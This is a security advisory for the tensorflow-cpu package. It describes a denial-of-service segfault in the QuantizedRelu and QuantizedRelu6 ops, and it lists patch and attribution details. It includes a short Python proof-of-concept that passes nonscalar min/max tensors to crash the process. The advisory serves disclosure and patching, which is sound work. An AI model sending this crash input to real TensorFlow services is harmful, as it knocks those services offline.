PT-2026-59986 · Pypi · Tensorflow-Cpu
Published
2026-07-13
·
Updated
2026-07-13
CVSS v3.1
5.9
Medium
| Vector | AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H |
Impact
If
QuantizedRelu or QuantizedRelu6 are given nonscalar inputs for min features or max features, it results in a segfault that can be used to trigger a denial of service attack.python
import tensorflow as tf
out type = tf.quint8
features = tf.constant(28, shape=[4,2], dtype=tf.quint8)
min features = tf.constant([], shape=[0], dtype=tf.float32)
max features = tf.constant(-128, shape=[1], dtype=tf.float32)
tf.raw ops.QuantizedRelu(features=features, min features=min features, max features=max features, out type=out type)
tf.raw ops.QuantizedRelu6(features=features, min features=min features, max features=max features, out type=out type)Patches
We have patched the issue in GitHub commit 49b3824d83af706df0ad07e4e677d88659756d89.
The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.
For more information
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Attribution
This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.
Fix
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Related Identifiers
Affected Products
Tensorflow-Cpu